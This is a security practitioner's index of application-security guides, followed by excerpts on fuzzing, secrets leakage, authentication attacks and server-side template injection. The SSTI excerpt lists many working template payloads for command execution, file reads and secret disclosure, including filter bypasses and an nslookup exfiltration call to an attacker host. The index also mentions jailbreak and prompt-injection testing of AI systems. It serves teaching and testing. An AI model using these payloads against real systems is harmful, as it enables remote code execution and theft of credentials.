Application Security Guides#
In-depth references for the vulnerability classes I work with most, each covering attack surface, exploitation, and defense. Kept current with CVEs through 2026.
π― Complete Security Guide Hubs#
Comprehensive Guide Collections#
π Web Vulnerabilities Hub β core web security: XSS, SQLi, SSRF, RCE, and modern attack vectors
π API Security Hub β modern API security: GraphQL, JWT, authentication, and authorization
π§ͺ Security Testing Hub β testing methodology: OSINT, reconnaissance, bug bounty, and automation
Each hub provides curated learning paths, cross-references, and comprehensive coverage of entire security domains.
Core Vulnerability Guides#
Context-aware payloads, filter/WAF/CSP bypasses, framework-specific exploits, DOM clobbering, polyglots, and real-world exploitation chains.
Attack surface mapping, cloud metadata extraction, bypass techniques, exploitation chains, and defense strategies.
Attack classes, database-specific payloads, blind techniques, WAF bypasses, ORM/NoSQL variants, and prevention methods.
Attack surface, exploitation techniques, SameSite and token bypasses, real-world chains, and detection/prevention.
Attack surface, enumeration patterns, BOLA techniques, real-world writeups, detection workflow, and prevention.
Vulnerability classes, exploitation primitives, language-specific chains, real-world CVEs, and detection/prevention.
Parser quirks, in-band and out-of-band exfiltration, parameter entity chains, file-format vectors, and hardening.
Language-specific attack surface, gadget chain mechanics, real-world CVE chains, tools, and detection/prevention.
API & Application Security#
OWASP API Top 10 exploitation, authentication and authorization bypasses, rate limit evasion, real-world chains, and detection/prevention.
Discovery, introspection, schema recovery, injection, authorization flaws, batching, DoS, subscriptions, and engine-specific quirks.
Authorization models, bug classes, bypass techniques, real-world chains, and detection/prevention patterns for web and API testing.
Authentication & Identity Security#
Protocols, mechanisms, vulnerabilities, exploitation techniques, and defense strategies. Covers traditional and modern authentication methods from enterprise to web applications.
Algorithm confusion, signature bypass, library-specific issues, and secure implementation patterns. Covers detection methodologies and exploitation techniques.
Template engine vulnerabilities, exploitation techniques, payload development, framework-specific attacks, and defense strategies.
Comprehensive reference covering session security β Session lifecycle, token management, storage mechanisms, attack vectors, and defense strategies. Newly created with 2026 session CVEs from automated intelligence processing.
Workflow bypass, race conditions, payment logic flaws, privilege escalation chains, and application context attacks. Covers 27 CVE discoveries.
AI & Emerging Technologies#
Large Language Model and agentic AI system security, attack surface, exploitation techniques, real-world CVE chains, payloads, and layered detection/prevention.
Security Methodology & Techniques#
Threat models, platform attack surface, reverse engineering, runtime instrumentation, bypass techniques, testing methodology, and defensive controls.
Dangerous APIs, deserialization pitfalls, framework-specific risks, supply chain attacks, LLM-era CVEs, static analysis tooling, and hardening patterns.
Fundamentals, coverage feedback, harness construction, corpus strategy, sanitizer usage, and the tool stack for web, binary, kernel, and API targets.
Attack surface discovery, subdomain enumeration, live host probing, content discovery, JS mining, cloud asset hunting, automation, and continuous monitoring.
Methodology, collection disciplines, tooling, pivoting techniques, and operational security for intelligence gathering.
Detection, remediation, and hardening with coverage of GitGuardian research, OWASP guidance, TruffleHog/Gitleaks, real-world breaches, and AI-era patterns.
Methodology, platforms, reconnaissance pipelines, vulnerability hunting, exploit chaining, report writing, and career strategy.
Core tools, essential extensions, Bambdas and BChecks, Collaborator, macros and session handling, custom extension development, Burp AI, and real-world testing workflows.
Threat model across the SDLC, package-registry attack patterns, CI/CD hardening, artifact provenance and signing, SBOMs, dependency scanning, case studies, and defensive checklists.
Blog Posts by Topic#
Server-Side Request Forgery (SSRF)#
Cross-Site Scripting (XSS)#
XML External Entity (XXE)#
Memory Safety & Binary Security#
Use After Free#
Python Security#
Core Security Concepts#
Advanced Topics#
Security Research & Bug Bounty#
Research Methodology#
- MCP Tool Poisoning - Modern supply chain attack vectors
- Dependency Confusion Attacks - Research ongoing
Burp Suite#
- Advanced Extensions Development - Guide planned
- Custom Scanner Rules - Coming soon
Fuzzing#
- Web Application Fuzzing - Methodology guide in development
- API Endpoint Discovery - Techniques compilation planned
OSINT & Reconnaissance#
- Asset Discovery Methodology - Guide planned
- Social Engineering Reconnaissance - Research compilation coming soon
Secret Management#
- Credential Exposure Prevention - Best practices guide planned
- Secret Scanning Techniques - Tool comparison coming soon
Talks & Presentations#
Check out my speaking page for conference talks and presentations on these security topics.
Additional Resources#
For curated security resources and tools, visit appsec.fyi - my collection of application security resources.
This guides index is continuously updated as I research and publish new security content. Each topic represents areas of active research and practical experience.
Complete Security Testing Methodology Hub The full security testing lifecycle, from reconnaissance through fuzzing to reporting.
π Reconnaissance & Intelligence Gathering Open Source Intelligence (OSINT) Comprehensive OSINT Guide
AI-assisted intelligence gathering, blockchain analysis Enhanced social media techniques, modern automation TikTok intelligence, emerging platform analysis Reconnaissance Guide
Cloud-native techniques, container/serverless discovery Modern API reconnaissance, automated attack surface mapping ML-powered automation, continuous monitoring Advanced Intelligence Collection Attack surface discovery with modern cloud infrastructure Subdomain enumeration with 2026 techniques Content discovery and hidden endpoint identification JavaScript mining and client-side analysis Cloud asset hunting across AWS/GCP/Azure π§ͺ Security Testing Tools & Techniques Professional Testing Tools Comprehensive Burp Suite Guide Enterprise DAST features, modern extensions (BurpAPISecuritySuite) Advanced BChecks/Bambdas, CI/CD integration Burp AI capabilities, professional workflows Automated Testing & Fuzzing Fuzzing Guide - AI-augmented techniques JVM fuzzing via Jazzer, Kotlin coroutine testing Advanced coverage methods, modern language support Web, binary, kernel, API, and smart-contract targets Mobile Application Testing Mobile Security Guide 2026 mobile threat intelligence, LANDFALL spyware analysis WebKit CVEs, iOS/Android security assessment Modern testing methodology, defensive controls π― Specialized Testing Methodologies Bug Bounty & Vulnerability Research Bug Bounty Hunting Guide - AI-augmented methodology 2026 platform analysis, advanced reconnaissance pipelines Emerging vulnerability classes (SAML, WebAuthn, WASM) Automated chaining, data-driven career strategy Modern Security Challenges AI/LLM Security Testing AI system attack surface, prompt injection testing Jailbreak techniques, agentic system exploitation Layered detection and prevention strategies Supply Chain & Infrastructure Supply Chain Security CI/CD security testing, dependency scanning Package registry attack testing, SBOM validation Artifact provenance verification π Security Testing Learning Paths Beginner β Professional β Advanced Foundation Path:
OSINT β Reconnaissance β Bug Bounty
...
Comprehensive Fuzzing Guide π Updated September 12, 2026 β added NASK/CERT Polskaβs LLM-supervised autonomous fuzzing pipeline, plus the QEMU DMAR and ModSecurity findings it produced.
A practitionerβs reference for fuzz testing β fundamentals, coverage feedback, harness construction, corpus strategy, sanitizer usage, and the tool stack for web, binary, kernel, API, and smart-contract targets.
Table of Contents Fundamentals Fuzzing Taxonomy Coverage-Guided Fuzzing Harness Construction Corpus Management & Seed Selection Dictionaries & Structure-Aware Fuzzing Sanitizers Binary Fuzzing (AFL++, libFuzzer, honggfuzz, LibAFL) Web Fuzzing (ffuf, wfuzz, feroxbuster, Burp Intruder) API Fuzzing (REST, GraphQL, Protobuf) Kernel & OS Fuzzing Directed & Grammar-Based Fuzzing AI-Augmented Fuzzing JVM Fuzzing (Jazzer, LibAFL) Rust & Python Fuzzing Snapshot Fuzzing (Nyx, HyperHook) Smart Contract Fuzzing Protocol & Network Fuzzing (Boofuzz, ICS) Crash Triage & Minimization CI/CD Integration Bugs That Survive Continuous Fuzzing Real-World Wins & CVEs Tools & Frameworks Reference Wordlist & Corpus Resources Quick Reference Cheatsheet 1. Fundamentals Fuzzing is automated software testing by bombarding a target with a large volume of semi-random, invalid, or unexpected inputs and watching for crashes, hangs, memory errors, or assertion failures. The technique originates with Barton Millerβs 1988 University of Wisconsin-Madison experiment, where random inputs crashed roughly a third of tested Unix utilities.
...
Comprehensive Secrets Management & Leakage Guide π Updated September 12, 2026 β added the Bun-based npm credential stealer (April 2026): payloads that download their own runtime, and public dead-drop repos as an IOC.
A practitionerβs reference for secrets sprawl, credential leakage, detection, remediation, and hardening. Draws on GitGuardian State of Secrets Sprawl 2025/2026, OWASP Secrets Management Cheat Sheet, TruffleHog, Gitleaks, real-world breaches (Trivy/European Commission, Shai-Hulud, LiteLLM, EleKtra-Leak, .env extortion campaigns, GCP SecOps SIEM token leak), AI-era leakage patterns (Claude Code source leak, vibe-coding fingerprints, ChatGPT API key exposure), certificate/private key leak research (Google-GitGuardian), GitHub search syntax for secret discovery, vault hardening (HashiCorp Vault production guide, AWS SM vs Vault, Infisical, SOPS+age), Terraform/Kubernetes secrets management, IAM Roles Anywhere, shift-left speed budgets, and NHI governance guidance.
...
Comprehensive Authentication Guide π Updated September 12, 2026 β added the NetScaler SAML canonicalization overflow (CVE-2026-8452) and why pre-signature-verification parsing is every SAML SPβs unauthenticated attack surface.
A practitionerβs reference for authentication security β protocols, mechanisms, vulnerabilities, exploitation techniques, and defense strategies. Covers traditional and modern authentication methods from enterprise to web applications.
Table of Contents Fundamentals Password-Based Authentication Multi-Factor Authentication (MFA) OAuth 2.0 & OpenID Connect SAML & Enterprise SSO Modern Authentication (FIDO, WebAuthn, Passkeys) JWT Security Session Management Authentication Bypasses & Attacks Implementation Security Testing & Verification 1. Fundamentals Core Concepts Term Definition Security Impact Authentication (AuthN) Process of verifying identity claims Foundation of access control Digital Identity Unique representation in online context Basis for authorization decisions Identity Proofing Binding digital identity to real person KYC/compliance requirement Session Management Maintaining state across requests Critical for web application security Non-Human Identity (NHI) API keys, OAuth tokens, service accounts Path of least resistance for attackers β not bound by MFA or IP restrictions Authentication Factors Factor Type Examples Vulnerability Classes Something You Know Passwords, PINs, security questions Brute force, credential stuffing, social engineering Something You Have Hardware tokens, mobile apps, SMS SIM swapping, device theft, malware Something You Are Biometrics (fingerprint, face, voice) Spoofing, template theft, privacy concerns 2. Password-Based Authentication Password Strength Requirements Requirement NIST SP800-63B Standard Security Rationale Minimum Length 8 chars (with MFA), 14+ (without MFA) Increases brute force difficulty Maximum Length At least 64 characters Prevents artificial length limits Character Composition No mandatory complexity rules Avoid predictable patterns Dictionary Checking Block common passwords Prevent credential stuffing Common Password Vulnerabilities ATTACK VECTORS: βββ Credential Stuffing β βββ Breach databases (HaveIBeenPwned) β βββ Password reuse across sites β βββ Automated login attempts βββ Brute Force Attacks β βββ Dictionary attacks β βββ Rule-based mutations β βββ Hybrid attacks βββ Password Reset Flows βββ Weak reset tokens βββ Token reuse vulnerabilities βββ Account enumeration βββ Email interception for ATO (Post SMTP CVE-2025-24000 β Subscriber+ reads reset emails via broken REST API permissions) Secure Implementation Patterns Security Control Implementation Bypass Techniques Rate Limiting Progressive delays, account lockouts IP rotation, distributed attacks CAPTCHA Human verification challenges OCR bypass, solving services Password Hashing bcrypt, scrypt, Argon2 Rainbow tables (if salts weak) Breach Detection Monitor for credential exposure Private/corporate breaches REST API Auth Role-based permission callbacks (not just is_user_logged_in()) Subscriber-level access to admin endpoints 3. Multi-Factor Authentication (MFA) MFA Implementation Types Method Security Level User Experience Attack Vectors SMS OTP Low High friction SIM swapping, SS7 attacks TOTP Apps Medium Medium friction Device compromise, social engineering Push Notifications Medium-High Low friction MFA fatigue, device takeover Hardware Tokens High Medium friction Physical theft, supply chain Biometrics High Low friction Spoofing, template extraction Passwordless (FastPass/FIDO2) Very High Low friction Device compromise (Okta Terrify), endpoint proxy MFA Bypass Techniques BYPASS METHODS: βββ Social Engineering β βββ MFA fatigue (push spam) β βββ Vishing (voice phishing) β βββ SIM swapping βββ Technical Bypasses β βββ Session fixation β βββ MFA enrollment abuse β βββ Backup code exploitation β βββ Race conditions βββ Adversary-in-the-Middle (AiTM) β βββ Real-time phishing (Evilginx, Tycoon 2FA, Evilproxy, Mamba 2FA) β βββ Session cookie interception and replay β βββ Token replay β βββ Cloudflare Workers as transparent proxy (IOActive research) βββ Authentication Downgrade Attacks β βββ JSON config manipulation β flip FIDO2 isDefault:false, push isDefault:true β βββ CSS injection to hide passkey/FIDO2 UI options β βββ Browser User-Agent spoofing (e.g., Safari on Windows) to trigger Entra ID fallback β βββ WebAuthn immediate mediation abuse for non-WebAuthn fallback steering βββ Conditional Access Policy (CAP) Bypasses β βββ IP whitelisting bypass (VPN, Zscaler pivoting) β βββ Geo-whitelisting bypass (VPN/location spoofing) β βββ User-agent whitelisting bypass (custom UA strings) β βββ Cloud tooling bypasses (ROADtools, BloodHound, AADInternals) β βββ Non-MFA hosts (legacy protocols, password reset portals) βββ Machine-Based Attacks βββ Session token theft from memory (Cobalt Strike BOFs) βββ OTP keylogging / seed QR code theft βββ Okta Terrify β extract passwordless keys from compromised endpoint βββ Stolen/unlocked devices Phishing-as-a-Service (PhaaS) Kits Kit Technique Detection Evasion Evilginx Open-source reverse proxy AiTM Default LetsEncrypt certs, 8-char URL paths, TLS fingerprint differs from target Tycoon 2FA PhaaS MFA bypass Dynamically obfuscated JS, phishing URL gating, IP/UA filtering Evilproxy PhaaS MFA bypass Templates for popular targets, bot detection Mamba 2FA PhaaS MFA bypass Anti-crawler delays, redirect to benign pages Cloudflare Workers Serverless transparent proxy (IOActive PoC) Zero forensic footprint, trusted CDN IPs, ephemeral execution Implementation Security Checklist Control Verification Common Mistakes Enrollment Security Verify primary auth before MFA setup Allow MFA changes without re-auth Backup Mechanisms Secure recovery codes Weak backup code generation Device Trust Risk-based authentication Unlimited device trust Rate Limiting Throttle MFA attempts No limits on failed attempts Eliminate Fallbacks No SMS/TOTP/push if FIDO2 deployed Mixed-mode policies allow downgrade Audit MFA Logs Detect new MFA device registration post-compromise Missing persistence detection 4. OAuth 2.0 & OpenID Connect OAuth 2.0 Flow Types Grant Type Use Case Security Considerations Authorization Code Server-side web apps Most secure, requires PKCE for SPAs Authorization Code + PKCE Public clients, SPAs Prevents authorization code injection Implicit Legacy SPAs Deprecated, token in URL fragment Client Credentials Service-to-service No user context, secure storage critical Device Code IoT/limited input devices Phishing risk during user approval Common OAuth Vulnerabilities Vulnerability Attack Vector Mitigation Authorization Code Interception Redirect URI manipulation Strict redirect validation State Parameter Missing CSRF attacks Cryptographically strong state Scope Escalation Privilege elevation Minimal scope principle Client Impersonation Stolen client credentials Client authentication OAuth Parameter Injection Inject arbitrary params (redirect_uri, scope) into auth flow Input sanitization (Okta auth0/nextjs-auth0 vuln) Implicit Flow Token Theft Access token in URL fragment, referer leakage Migrate to Authorization Code + PKCE CSRF via Missing State Attacker injects own authorization code into victim session State parameter enforcement Redirect URI Bypass Pattern-matching bypass (%2f%2f, %5c%5c, %3F, %23, port injection) Exact string match, no wildcards Credential Leakage via Referer Authorization code or token in Referer header to third-party content No third-party resources on callback pages Non-Human Identity Abuse Compromised OAuth tokens with overly broad scopes, null expiry refresh tokens Scope minimization, token rotation, vendor vetting Dynamic Client Registration SSRF (PortSwigger Research) SSRF ATTACK SURFACE VIA DYNAMIC REGISTRATION: βββ logo_uri β Server fetches logo image β SSRF on /authorize βββ jwks_uri β Server fetches JWK set for client_assertion validation β Blind SSRF βββ sector_identifier_uri β Server fetches redirect_uri list β SSRF on registration or authorization βββ request_uris β Whitelisted request_uri values β SSRF on /authorize via request_uri param β (Even without dynamic registration, test request_uri on /authorize directly) βββ Discovery: GET /.well-known/openid-configuration βββ registration_endpoint βββ request_uri_parameter_supported βββ require_request_uri_registration CVE-2021-26715: SSRF via logo_uri in MITREid Connect ForgeRock OpenAM: SSRF via request_uri + redirect_uri Session Poisoning OAuth Security Implementation SECURITY CONTROLS: βββ Authorization Server β βββ Strict redirect URI validation (exact match, no wildcards) β βββ State parameter enforcement β βββ PKCE for public clients β βββ Short-lived authorization codes (single use) β βββ Disable Dynamic Client Registration if not needed βββ Resource Server β βββ Token introspection β βββ Scope validation β βββ Audience verification β βββ Rate limiting βββ Client Application β βββ Secure token storage (never in browser history/URL) β βββ Token refresh handling with expiry β βββ CSRF protection via state parameter β βββ PKCE code_verifier/code_challenge β βββ TLS everywhere βββ Non-Human Identity Governance βββ Monitor OAuth app registrations and consent grants βββ Audit token scopes vs actual usage βββ Enforce refresh token expiry (no null expiry) βββ Vendor breach monitoring for third-party OAuth apps OAuth Pentesting Checklist (Authorization Code Grant) Test Case What to Check Impact Redirect URI Validation Change redirect_uri to attacker domain, test pattern bypasses Token/code theft State Parameter Remove or reuse state, test CSRF Account hijacking Code Reuse Replay authorization code Session hijacking Client Secret Exposure Check JS source, mobile app binaries Full OAuth flow compromise Scope Manipulation Request elevated scopes Privilege escalation Token in URL/History Check if access_token appears in URL fragment or browser history Token theft Referer Leakage Check callback pages for third-party resource loads Code/token leakage request_uri SSRF Supply attacker URL in request_uri param on /authorize Server-side request forgery 5. SAML & Enterprise SSO SAML Attack Surface Component Attack Vectors Security Controls Identity Provider (IdP) XML signature bypass, SAML injection Strong XML validation, signature verification Service Provider (SP) Assertion replay, audience restriction bypass, parser differential exploitation Strict temporal/audience checks, single XML parser SAML Assertions XXE, signature wrapping (XSW), attribute pollution Secure XML parsing, validation Metadata Metadata spoofing, certificate substitution Out-of-band verification FortiCloud SSO Crafted SAMLResponse to /remote/saml/login (CVE-2025-59718) Disable FortiCloud SSO until patched Citrix NetScaler SAML canonicalization overflow (CVE-2026-8452) Citrix published CTX696604 on 30 June 2026. CVSS 8.8, unauthenticated, and it belongs in a SAML guide rather than a memory-safety one because of where in the SAML flow it sits.
...
Comprehensive SSTI Guide π Updated September 12, 2026 β added the Thymeleaf tab-character sandbox bypass (CVE-2026-40478) and the audit question that actually determines exposure.
A practitionerβs reference for Server-Side Template Injection β template engine vulnerabilities, exploitation techniques, payload development, framework-specific attacks, and defense strategies. Covers detection methodologies, engine-specific exploitation, and secure templating practices.
Table of Contents Fundamentals Detection & Identification Template Engine Exploitation Framework-Specific Attacks Payload Development Advanced Exploitation Bypass Techniques Testing Methodology Secure Implementation Detection & Prevention CVE Reference 1. Fundamentals SSTI Attack Surface Template Context Risk Level Common Locations User Input Rendering Critical Email templates, reports, dynamic pages Configuration Files High Template-based configs, dynamic routing Error Messages Medium Custom error pages, debug output Log Messages Low Log formatting, audit trails Email Workflow Templates Critical Notification templates, marketing emails (Shopify Return Magic, Fides) Recipe/CMS Content Fields Critical User-editable content rendered by template engines (Tandoor Recipes, Alfresco) JMS/Message Headers High Apache Camel template override headers (CamelFreemarkerTemplate, CamelVelocityTemplate) Template Engine Landscape Engine Language Popularity Exploitation Difficulty Jinja2 Python Very High Medium Twig PHP High Medium FreeMarker Java High High Velocity Java Medium High Thymeleaf Java Medium Medium Smarty PHP Medium Low Mako Python Low Low Handlebars Node.js Very High Medium Pug (Jade) Node.js High Medium Go html/template Go Medium High (context-dependent) Go text/template Go Medium Medium Jelly Java Medium (ServiceNow) Medium MVEL Java Low Low Mustache Multi-language Medium High (logicless by design) Tornado Python Medium Medium 2. Detection & Identification Detection Methodology SSTI DETECTION FLOW: 1. Identify template injection points 2. Test mathematical expressions 3. Analyze error messages 4. Determine template engine 5. Craft engine-specific payloads 6. Test blind detection via time-based or OOB channels Basic Detection Payloads Test Case Payload Expected Result Mathematical ${7*7} 49 if vulnerable Mathematical {β{7*7}} 49 if vulnerable Mathematical <%=7*7%> 49 if vulnerable String Concatenation ${'a'+'b'} ab if vulnerable Function Call ${T(java.lang.System).getProperty('user.name')} Username if Spring EL Go Detection {β{ . }} Memory address of passed object if Go template Handlebars Detection {β{this}} [object Object] if Handlebars FreeMarker String ${"Hello " + "World"} Hello World if FreeMarker FreeMarker Array ${["one", "two", "three"][1]} two if FreeMarker FreeMarker Length ${"test"?length} 4 if FreeMarker FreeMarker Date ${.now?string("yyyy-MM-dd")} Current date if FreeMarker Jelly (ServiceNow) <g:evaluate>gs.addErrorMessage(668.5*2);</g:evaluate> 1337 in error message Thymeleaf Inline [[${7*7}]] 49 if Thymeleaf expression inlining Template Engine Fingerprinting IDENTIFICATION DECISION TREE: βββ {β{7*7}} = 49 β βββ {β{this}} = [object Object] β Handlebars (Node.js) β βββ Jinja2 (Python) β βββ Twig (PHP) β βββ Nunjucks (Node.js) βββ ${7*7} = 49 β βββ ${"test"?length} = 4 β FreeMarker (Java) β βββ ${T(java.lang.Runtime)} works β Spring EL (Java) β βββ Velocity (Java) βββ <%=7*7%> = 49 β βββ ERB (Ruby) β βββ ASP Classic βββ {7*7} = 49 β βββ Smarty (PHP) βββ {β{ . }} = memory address β βββ Go html/template or text/template βββ [[${7*7}]] = 49 β βββ Thymeleaf (Java) expression inlining βββ <g:evaluate>...</g:evaluate> executes βββ Jelly (ServiceNow) Blind SSTI Detection Method Payload Example Verification Time-based (Jinja2) {β{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['os'].popen('sleep 10').read()}} Response delay Time-based (FreeMarker) <#assign ex="freemarker.template.utility.Execute"?new()>${ex("sleep 10")} Response delay DNS Exfiltration {β{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['os'].popen('nslookup x.attacker.com').read()}} DNS logs HTTP Callback Jinja2 urllib.request.urlopen to attacker URL HTTP logs 3. Template Engine Exploitation Jinja2 (Python) Exploitation Attack Vector Payload Impact Basic RCE {β{config.__class__.__init__.__globals__['os'].popen('id').read()}} Command execution Subprocess {β{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['subprocess'].check_output('whoami',shell=True)}} Command execution File Read {β{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}} File access Config Access {β{config.SECRET_KEY}} Sensitive data exposure Lipsum Shorthand {β{lipsum.__globals__}} Bypass length limits Cycler RCE {β{cycler.__init__.__globals__.os.popen('id').read()}} Shorter RCE payload Hex-encoded attr() {β{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(418)('id',shell=True,stdout=-1)|attr('communicate')()|attr('\x5f\x5fgetitem\x5f\x5f')(0)|attr('decode')('utf-8')}} Filter bypass RCE (CVE-2025-23211) Warning class import {β% for s in ().__class__.__base__.__subclasses__() %}{β% if "warning" in s.__name__ %}{β{s()._module.__builtins__['__import__']('os').popen("env").read()}}{β% endif %}{β% endfor %} RCE via warning subclass (Fides advisory) Twig (PHP) Exploitation TWIG ATTACK PATTERNS: βββ Filter Abuse β βββ {β{_self.env.registerUndefinedFilterCallback("exec")}} β βββ {β{_self.env.getFilter("id")}} β βββ {β{["id"]|filter("system")}} βββ Function Injection β βββ {β{_self.env.registerUndefinedFunction("exec")}} β βββ {β{_self.env.getFunction("system")}} βββ Object Injection β βββ {β{app.request.query.get('cmd')|passthru}} β βββ {β{dump(app)}} (information disclosure) βββ Escape Handler Abuse (Grav CMS β GHSA-2m7x-c7px-hp58) βββ {β{ grav.twig.twig.extensions.core.setEscaper('system','twig_array_filter') }} βββ {β{ ['id'] | escape('system', 'system') }} (Redefine escape function via setEscaper to system(), bypasses sandbox when not enabled) FreeMarker (Java) Exploitation Technique Payload Description Object Creation <#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")} Command execution Static Method Call ${"freemarker.template.utility.ObjectConstructor"?new()("java.lang.ProcessBuilder","id").start()} Process creation File System Access <#assign fos=freemarker.template.utility.ObjectConstructor("java.io.FileOutputStream","/tmp/test")> File manipulation ?lower_abc Filter Bypass ${(6?lower_abc+18?lower_abc+...)?new()(9?lower_abc+4?lower_abc)} Reconstruct βfreemarker.template.utility.Executeβ char-by-char to bypass keyword blocklists CamelContext Sandbox Escape <#assign cr=camelContext.getClassResolver()><#assign i=camelContext.getInjector()><#assign se=i.newInstance(cr.resolveClass('javax.script.ScriptEngineManager'))>${se.getEngineByName("js").eval("...")} RCE even with ClassResolver sandbox enabled (Apache Camel) CamelContext Language $camelContext.resolveLanguage("groovy").createExpression(<PAYLOAD>).evaluate(exchange, Object.class) Groovy expression via Camel context Alfresco Sandbox Bypass Exploit exposed objects in FreeMarker templates to bypass restrictions (CVE-2023-49964, incomplete fix for CVE-2020-12873) RCE in Alfresco CMS Handlebars (Node.js) Exploitation Technique Payload Description Prototype Pollution + AST Injection Pollute Object.prototype.type = 'Program' and Object.prototype.body with crafted AST containing RCE in NumberLiteral value Bypass parser validation, inject code directly into compiler Constructor Chain `{β{#with βsβ as string toString Override + bind() Override Object.prototype.toString via defineProperty, use bind() to create function returning attacker payload, then invoke via Function constructor Full RCE without scope-defined functions (Shopify Return Magic) pendingContent Detection Pollute Object.prototype.pendingContent with test string Detect Handlebars engine in black-box with prototype pollution Pug (Node.js) Exploitation Technique Payload Description AST Injection via block Pollute Object.prototype.block = {"type":"Text","val":"<script>alert(origin)</script>"} XSS/content injection via prototype pollution Code Injection via line Pollute Object.prototype.block.type = "Code" with body containing RCE payload Command execution via AST manipulation Thymeleaf (Java) Exploitation THYMELEAF ATTACK PATTERNS: βββ Expression Preprocessing Double-Eval β βββ __${path}__ preprocesses user input, result evaluated as expression β βββ URL path injection: http://target/(${T(java.lang.Runtime).getRuntime().exec('calc')}) β βββ Works on Jetty (allows {} in path), blocked on Tomcat (URL-encodes {}) βββ Spring Boot 3.3.4 Denylist Bypass (modzero research) β βββ Thymeleaf blocks T() for static class access and org.springframework.util.ReflectionUtils β βββ Bypass via org.apache.commons.lang3.reflect.MethodUtils (not on denylist) β βββ "".class.forName("org.apache.commons.lang3.reflect.MethodUtils") β β .invokeMethod( β β "".class.forName("org.apache.commons.lang3.reflect.MethodUtils") β β .invokeStaticMethod("".class.forName("java.lang.Runtime"),"getRuntime"), β β "exec", "whoami") β βββ Full payload reads command output via IOUtils + file write for non-blind RCE βββ CVE-2023-38286 (Spring Boot Admin) β βββ Bypass Thymeleaf blacklists via ReflectionUtils (older versions) β βββ th:with chaining: findMethod β invokeMethod β exec β βββ Requires MailNotifier enabled + write access to env vars βββ CVE-2022-46166 (Spring Boot Admin) βββ RCE via variable coverage in notification templates Velocity (Java) Exploitation Technique Payload Description CamelContext RCE ${camelContext.class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("...")} RCE via JavaScript engine in Apache Camel Template Override Send CamelVelocityTemplate header to override default template Dynamic template injection via message headers Resource URI Override Send CamelVelocityResourceUri header pointing to file:///etc/passwd Arbitrary file disclosure MVEL (Java) Exploitation Technique Payload Description Direct RCE @{java.lang.Runtime.getRuntime().exec('id')} Direct runtime access ObjectFactory RCE @{com.sun.org.apache.xerces.internal.utils.ObjectFactory.newInstance("javax.script.ScriptEngineManager",null,false).getEngineByName('js').eval("...")} Via ScriptEngine Template Override Send CamelMvelTemplate header Apache Camel dynamic template Go Template Exploitation GO SSTI ATTACK PATTERNS: βββ Detection β βββ {β{ . }} β prints memory address/object dump of passed struct βββ Data Leakage β βββ {β{ .Email }} / {β{ .Password }} β access struct fields β βββ Leaks any exported field on the passed object βββ Method Invocation β βββ {β{ .MethodName "arg" }} β call exported methods on passed struct β βββ Methods must be exported (capitalized) to be callable βββ Gin Framework Gadgets β βββ {β{ .Writer.WriteString "<script>alert(1)</script>" }} β XSS via response writer βββ Echo Framework Gadgets β βββ {β{ .File "/etc/passwd" }} β arbitrary file read β βββ {β{ .Attachment "/etc/passwd" "passwd" }} β file read via attachment β βββ {β{ .Inline "/etc/passwd" "passwd" }} β file read inline β βββ {β{ $x:=.Echo.Filesystem.Open "/etc/hostname" }} {β{ $x.Seek 1 0 }} {β{ .Stream 200 "text/plain" $x }} β file read with I/O control βββ Fiber Framework Gadgets β βββ {β{ .App.Shutdown }} β denial of service β βββ {β{ .Response.SendFile "/etc/hostname" }} {β{ .Response.Body }} β file read via fasthttp.Response βββ Method Confusion (OnSecurity Research) β βββ If passed object type matches a method's receiver, call with custom params β βββ echo.Context.File("path") gadget for arbitrary file read β βββ Gadget hunting: search imported modules for exported methods with dangerous behavior βββ text/template vs html/template βββ text/template allows direct "call" for public functions β higher risk βββ html/template restricts call β requires gadget chains Jelly (ServiceNow) Exploitation Technique Payload Description Template Injection Probe <g:evaluate>gs.addErrorMessage(668.5*2);</g:evaluate> Confirm injection via math result (1337) in error message DB Credential Theft Inject <g:evaluate> to read glide.db.properties via SecurelyAccess + getBufferedReader() Extract database connection strings Chained Exploitation CVE-2024-4879 (title injection) + CVE-2024-5217 (mitigation bypass) + CVE-2024-5178 (file filter bypass) Full RCE chain on ServiceNow Style Tag Bypass Embed Jelly tags inside <style> element in jvar_page_title parameter Bypass basic input validation 4. Framework-Specific Attacks Spring Framework (Java) Context Payload Impact Spring EL ${T(java.lang.Runtime).getRuntime().exec('id')} RCE SpEL Injection #{T(java.lang.System).getProperty('user.name')} Information disclosure Request Context ${@requestMappingHandlerMapping.getApplicationContext().getEnvironment().getProperty('java.version')} Environment access Thymeleaf Double-Eval '+${7*7}+' in Referer header with __${Referer}__ preprocessing RCE via preprocessing (modzero) MethodUtils Bypass "".class.forName("org.apache.commons.lang3.reflect.MethodUtils").invokeStaticMethod(...) Bypass Thymeleaf denylist in Spring Boot 3.3.4+ WebAsyncManager Header Exfil Access #ctx.getVariable("...WebAsyncManager...") to read request headers and write response Non-blind RCE without outbound connections Django (Python) DJANGO TEMPLATE ATTACKS: βββ Debug Information β βββ {β{settings.SECRET_KEY}} β βββ {β{settings.DATABASES}} β βββ {β{settings.DEBUG}} βββ Object Traversal β βββ {β{request.META}} β βββ {β{request.user}} β βββ {β{request.session}} βββ Filter Abuse βββ Custom filters with dangerous functions βββ Template tag injection Laravel (PHP) Attack Type Payload Result Blade RCE @php(system('id')) @endphp Command execution Variable Access {β{$app->make('config')->get('database.default')}} Configuration disclosure Helper Function {β{app('Illuminate\Contracts\Console\Kernel')->call('route:list')}} Application introspection Apache Camel (Java) APACHE CAMEL SSTI (CVE-2020-11994): βββ Affected Components β βββ camel-freemarker (CamelFreemarkerTemplate header) β βββ camel-velocity (CamelVelocityTemplate header) β βββ camel-mvel (CamelMvelTemplate header) β βββ camel-mustache (MustacheResourceUri header β file disclosure only) βββ Attack Pattern β βββ Override default template via message header injection β βββ Header source depends on consumer: JMS properties, HTTP headers, etc. β βββ ResourceUri headers enable arbitrary file disclosure (file:///etc/passwd) βββ Sandbox Bypass β βββ camelContext object exposed in template context β βββ getInjector() + getClassResolver() β instantiate arbitrary classes β βββ resolveLanguage("groovy") β evaluate arbitrary Groovy expressions βββ Impact βββ RCE 